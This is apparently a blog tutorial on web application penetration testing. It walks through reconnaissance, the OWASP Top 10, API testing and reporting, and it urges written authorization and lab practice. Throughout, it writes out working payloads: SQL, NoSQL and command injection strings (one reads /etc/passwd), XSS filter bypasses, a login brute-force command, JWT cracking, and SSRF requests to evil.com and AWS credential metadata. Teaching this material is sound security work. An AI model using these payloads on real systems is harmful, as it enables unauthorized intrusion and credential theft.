Web Application Pentesting Guide 2026: Tools, Techniques & Methodology

Web application pentesting is where most red teamers spend the majority of their billable hours. It’s also where a huge chunk of real-world breaches happen — not through exotic exploits, but through the same OWASP Top 10 vulnerabilities that have existed for decades.

This guide covers the full methodology: reconnaissance, mapping the attack surface, exploiting common vulnerabilities, and reporting findings. Whether you’re doing your first web pentest or sharpening your methodology for bug bounty, this is the process.

Why Web App Pentesting Matters in 2026

Organizations have more web-facing attack surface than ever. APIs, SaaS integrations, OAuth flows, serverless functions — the classic perimeter is gone, and web applications are often the first (and easiest) entry point.

The numbers back this up: web application vulnerabilities account for over 40% of breaches according to Verizon’s DBIR. SQL injection and broken access control alone are responsible for more compromises than most exotic zero-days ever will be.

If you know web pentesting, you’ll never be short of work.

What You Need Before You Start

Legal Authorization

Always get written permission before touching any target. Scope matters — know exactly what’s in and out of bounds. No authorization = criminal activity, full stop.

For practice, stick to:

Your own lab (covered below)
Dedicated vulnerable apps: DVWA, Juice Shop, WebGoat, Damn Vulnerable Web Application
Legal CTF platforms: HackTheBox, TryHackMe, PortSwigger Web Security Academy

Your Lab Setup

You don’t need physical hardware. A VPS gives you a clean, isolated environment for running vulnerable applications without poisoning your home network.

Recommended setup: Spin up a VPS on Vultr or DigitalOcean — $6/month gets you a Debian or Ubuntu VM with enough resources to run DVWA, Juice Shop, and Burp simultaneously.

Install Docker on the VPS and spin up your targets:

# OWASP Juice Shop (modern, realistic, API-heavy)
docker run -d -p 3000:3000 bkimminich/juice-shop

# DVWA (classic, simple to configure)
docker run -d -p 80:80 vulnerables/web-dvwa

# WebGoat (Java-based, great for deeper vulns)
docker run -d -p 8080:8080 webgoat/goatandwolf

Keep your VPS terminated or firewalled when not in use — publicly exposed intentionally vulnerable apps invite abuse.

Core Toolset

Tool	Purpose
Burp Suite	Intercept proxy, scanner, intruder, repeater — your primary weapon
ffuf	Fast web fuzzer for directories, parameters, subdomains
sqlmap	Automated SQL injection detection and exploitation
nikto	Quick web server misconfiguration scan
gobuster / feroxbuster	Directory and file brute-forcing
wfuzz	Flexible fuzzer for parameters and headers
nuclei	Template-based vulnerability scanning

Burp Suite Community is free and covers 80% of what you need. Burp Suite Pro adds an active scanner and Intruder without rate limits — worth it once you’re doing professional engagements.

The Web App Pentesting Methodology

A structured methodology separates professional pentesters from script kiddies. Here’s the process from first touch to final finding.

Phase 1: Reconnaissance

Before you send a single request, understand the target.

Passive recon (no direct interaction with the target):

# Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com

# Certificate transparency logs
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u

# Google dorking
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com ext:php OR ext:asp OR ext:aspx

Technology fingerprinting:

whatweb https://target.com
wappalyzer  # browser extension, identifies frameworks, CMS, JS libraries

Know the stack before you attack it. A PHP/MySQL app has different vulnerabilities than a Node.js/MongoDB API.

Wayback Machine and JS file mining: Old endpoints don’t disappear from the web. Check archive.org and mine JavaScript files for API endpoints, hardcoded secrets, and internal paths:

# Fetch all Wayback URLs for a domain
waybackurls target.com | tee wayback.txt | grep -E "\\.php|\\.asp|api" 

# Extract endpoints from JS files
cat js-file.js | grep -oP '(?<=["'"'"'])/[a-zA-Z0-9_/.-]+' | sort -u

Phase 2: Mapping the Attack Surface

Enumerate every endpoint, parameter, and authentication mechanism.

Directory and file brute-forcing:

# Fast directory brute-force
ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -fc 404 -mc 200,301,302,403 -o dirs.json

# File extension fuzzing
ffuf -u https://target.com/FUZZ -w wordlist.txt -e .php,.asp,.aspx,.bak,.txt,.xml

# API endpoint fuzzing
ffuf -u https://api.target.com/v1/FUZZ -w api-wordlist.txt -H "Authorization: Bearer <token>"

Parameter discovery:

# Find hidden parameters
ffuf -u "https://target.com/page?FUZZ=test" -w params.txt -fw 10

# Arjun is excellent for parameter discovery
arjun -u https://target.com/search

Burp Suite — your primary mapping tool: Set Burp as your proxy (127.0.0.1:8080) and spider/crawl the app manually while Burp logs every request. Then use the Sitemap to identify all endpoints. Everything flows through Burp.

Phase 3: Vulnerability Testing

Work through each vulnerability class systematically. Don’t spray random exploits — understand what you’re testing and why.

OWASP Top 10 — What to Test and How

A01: Broken Access Control

The #1 vulnerability since 2021 and likely to stay there. Broken access control means users can do things they shouldn’t — access other users’ data, escalate privileges, or reach admin functions.

Testing approach:

IDOR (Insecure Direct Object Reference): Change IDs in URLs and parameters

GET /api/users/1234/profile → change to /api/users/1235/profile
GET /invoice?id=ABC123 → enumerate or guess other IDs

Forced browsing: Try accessing authenticated pages without logging in
```
/admin/users
/dashboard/settings
/api/admin/
```
Horizontal privilege escalation: Log in as User A, access User B’s data
Vertical privilege escalation: Regular user accessing admin functions

Burp Tip: Use the Comparer to diff responses between authenticated and unauthenticated requests. Use the Autorize extension to automatically test every request for access control issues.

A02: Cryptographic Failures

Sensitive data transmitted or stored insecurely.

What to check:

HTTP used instead of HTTPS (check all redirects)
Weak TLS configuration: SSLv3, TLS 1.0/1.1, weak cipher suites
Sensitive data in URL parameters (shows in server logs, referrer headers)
Passwords hashed with MD5 or SHA1 (unsalted)
Cookies without Secure or HttpOnly flags

# TLS scanner
testssl.sh https://target.com

# Check headers
curl -I https://target.com | grep -i "set-cookie\|strict-transport"

A03: Injection

SQL injection is the classic, but injection covers SQL, NoSQL, LDAP, OS commands, and more.

SQL Injection — Manual Testing:

-- Basic detection (error-based)
'
''
`
')
"))

-- Boolean-based blind
' AND 1=1--
' AND 1=2--

-- Time-based blind
' AND SLEEP(5)--
'; WAITFOR DELAY '0:0:5'--

SQLmap — Automated:

# Basic scan
sqlmap -u "https://target.com/search?q=test" --dbs

# With Burp request file (most reliable)
sqlmap -r request.txt --level=5 --risk=3 --dbs

# Dump tables
sqlmap -r request.txt -D database_name --tables
sqlmap -r request.txt -D database_name -T users --dump

Command Injection:

# Test characters
; ls
| ls
&& ls
` ls `
$(ls)

# Example in a parameter
GET /ping?host=8.8.8.8;cat+/etc/passwd

NoSQL Injection (MongoDB):

{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": "admin", "password": {"$gt": ""}}

A07: Identification and Authentication Failures

Broken authentication covers weak passwords, missing brute-force protection, insecure session handling, and flawed MFA implementations.

Testing approach:

Username enumeration: Different error messages for valid vs invalid usernames
```
"Invalid password" vs "User not found" — tells you valid usernames
```

Brute-force protection: Test rate limiting on login, password reset, and MFA endpoints

ffuf -u https://target.com/login -X POST \
  -d "username=admin&password=FUZZ" \
  -w /usr/share/wordlists/rockyou.txt \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -fc 302

Password reset flaws:
- Predictable reset tokens (short, sequential, time-based)
- Token reuse after password change
- Host header injection in reset emails
Session fixation: Can you set your own session ID before login?

JWT attacks:

# Decode and inspect JWT
echo "eyJ..." | base64 -d

# Test algorithm confusion: change alg to "none"
# Test weak secret: HS256 with common passwords
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

A03 (cont.): Cross-Site Scripting (XSS)

XSS lets attackers execute JavaScript in a victim’s browser — session theft, credential harvesting, DOM manipulation.

Reflected XSS:

// Basic payloads
<script>alert(1)</script>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
javascript:alert(1)

// Filter bypass
<scr<script>ipt>alert(1)</scr</script>ipt>
<svg onload=alert(1)>
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)">

Stored XSS: Same payloads, but in persistent inputs (comments, usernames, profile fields). Higher impact — fires for every user who views the content.

DOM XSS: Sink-source analysis. Look for dangerous sinks:

document.innerHTML
document.write()
eval()
setTimeout() / setInterval() with string argument
location.href

Burp’s XSS scanner catches many reflected cases automatically. For DOM XSS, DOM Invader (built into Burp’s browser) is invaluable.

A08: Software and Data Integrity Failures

Includes insecure deserialization and CI/CD pipeline attacks.

Deserialization testing:

Java serialization: look for AC ED 00 05 magic bytes in requests
PHP: O:8:"stdClass":... style objects in cookies or parameters
Python pickle: rare but devastating when found

Tools: ysoserial (Java), PHPGGC (PHP), custom gadget chains

Dependency confusion: Check if internal package names can be squatted on public registries (npm, PyPI, RubyGems).

A10: Server-Side Request Forgery (SSRF)

The server fetches a URL you control — you can pivot to internal services, cloud metadata APIs, and internal networks.

Detection:

# Any parameter that takes a URL is a candidate
url=https://evil.com
webhook=https://your-burpcollaborator.net
redirect=http://169.254.169.254/latest/meta-data/  # AWS metadata
callback=http://internal-service:8080/admin

AWS Cloud metadata:

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data

Bypassing filters:

http://169.254.169.254/  → blocked
http://0xA9FEA9FE/       → hex bypass
http://[email protected]/  → @-notation
http://[::ffff:a9fe:a9fe]/  → IPv6 representation

API Pentesting — The Modern Attack Surface

REST APIs are everywhere and often less locked down than the main application. Treat every API endpoint as a separate attack surface.

API-specific tests:

# Enumerate versions
/api/v1/users
/api/v2/users  # older or newer versions may have weaker controls

# HTTP method testing
OPTIONS /api/users/123
PUT /api/users/123  # test for unauthorized updates
DELETE /api/users/123

# Mass assignment
POST /api/users
{"username": "test", "password": "test123", "role": "admin"}  # can you set role?

Postman + Burp: Import the API spec (OpenAPI/Swagger if available) into Postman, route through Burp, and systematically test each endpoint.

GraphQL:

# Introspection query — dumps the full schema
{"query": "{__schema{types{name fields{name}}}}"}

# Batching attacks (rate limit bypass)
[{"query": "mutation { login(username: \"admin\", password: \"pass1\") }"},
 {"query": "mutation { login(username: \"admin\", password: \"pass2\") }"}]

Reporting Your Findings

A finding without a clear writeup isn’t useful to the client. Each vulnerability needs:

Title: Clear, descriptive (e.g., “Unauthenticated IDOR in /api/users/{id} allows cross-account data access”)
Severity: Critical / High / Medium / Low / Informational (use CVSS where appropriate)
Description: What is the vulnerability?
Reproduction steps: Exact steps to reproduce — request/response included
Impact: What can an attacker do? Business context matters.
Remediation: Specific, actionable fix

Severity mapping:

Critical: Unauthenticated RCE, complete data exfiltration, authentication bypass
High: Auth bypass with effort, high-impact SQLi, stored XSS with privileged access
Medium: Reflected XSS, IDOR with limited impact, weak session management
Low: Information disclosure, missing security headers, weak TLS
Info: Best practice recommendations, no direct exploitability

Practice Resources

Free Labs

PortSwigger Web Security Academy — The best free web app security training that exists. Built by the Burp Suite team. Start here.
HackTheBox: Web-focused machines and Challenges category
TryHackMe: OWASP Top 10 path, Burp Suite rooms
OWASP WebGoat + DVWA: Self-hosted vulnerable apps

Recommended Books

If you’re serious about web pentesting, these two books are worth buying:

The Web Application Hacker’s Handbook — the foundational reference. Dense but comprehensive.
Bug Bounty Bootcamp by Vickie Li — practical, modern, covers the methodology well. Good starting point before the Handbook.

Certifications

OSCP — includes web app components but focuses more on infrastructure
eWPT (eLearnSecurity Web Penetration Tester) — web-specific, solid for beginners
BSCP (Burp Suite Certified Practitioner) — PortSwigger’s cert, harder than it looks, respected in the industry

Setting Up Your Practice Environment

A proper lab makes the difference between random poking and systematic skill-building.

Recommended VPS setup — spin up a $6/month Debian VM on Vultr or DigitalOcean :

# Install Docker
curl -fsSL https://get.docker.com | sh

# Run the full practice stack
docker run -d --name juiceshop -p 3000:3000 bkimminich/juice-shop
docker run -d --name dvwa -p 80:80 vulnerables/web-dvwa
docker run -d --name webgoat -p 8080:8080 -p 8090:8090 webgoat/goatandwolf

# OWASP NodeGoat (Node.js app, excellent for API testing)
git clone https://github.com/OWASP/NodeGoat && cd NodeGoat
docker-compose up -d

Lock down the VPS with a firewall — only allow your IP to access these ports. Exposed vulnerable apps get hammered within hours.

The Web App Pentesting Mindset

Technical skills matter. But the biggest differentiator between average and excellent web testers is business logic thinking.

Most automated scanners miss business logic flaws because they can’t understand context. Can you buy something for $0? Can you skip a payment step? Can you reuse a coupon code? Can you transfer money to yourself?

These require you to understand what the application is supposed to do, then think about how to abuse it.

Read the app documentation if it exists. Map the user flows. Think like both a developer and an attacker. The interesting bugs are always at the intersection of “this wasn’t supposed to happen.”

Next Steps

Web app pentesting is a deep rabbit hole. Here’s a suggested learning progression:

Complete PortSwigger Web Security Academy — all labs, not just the easy ones
Set up your VPS lab and work through DVWA (all security levels) and Juice Shop
Do web-focused HTB machines: Horizontall, Validation, Secret are good starters
Start TryHackMe’s OWASP Top 10 path if you need more structure
Try a bug bounty program on HackerOne or Bugcrowd once you’re comfortable with the basics
Read Bug Bounty Bootcamp cover to cover

The skills compound. Each vulnerability class you master makes you faster at spotting it in the wild.

Need a report written after your pentest? CipherWrite delivers professional pentest reports and technical writeups — ready for clients.

Why Web App Pentesting Matters in 2026#

What You Need Before You Start#

Legal Authorization#

Your Lab Setup#

Core Toolset#

The Web App Pentesting Methodology#

Phase 1: Reconnaissance#

Phase 2: Mapping the Attack Surface#

Phase 3: Vulnerability Testing#

OWASP Top 10 — What to Test and How#

A01: Broken Access Control#

A02: Cryptographic Failures#

A03: Injection#

A07: Identification and Authentication Failures#

A03 (cont.): Cross-Site Scripting (XSS)#

A08: Software and Data Integrity Failures#

A10: Server-Side Request Forgery (SSRF)#

API Pentesting — The Modern Attack Surface#

Reporting Your Findings#

Practice Resources#

Free Labs#

Recommended Books#

Certifications#

Setting Up Your Practice Environment#

The Web App Pentesting Mindset#

Next Steps#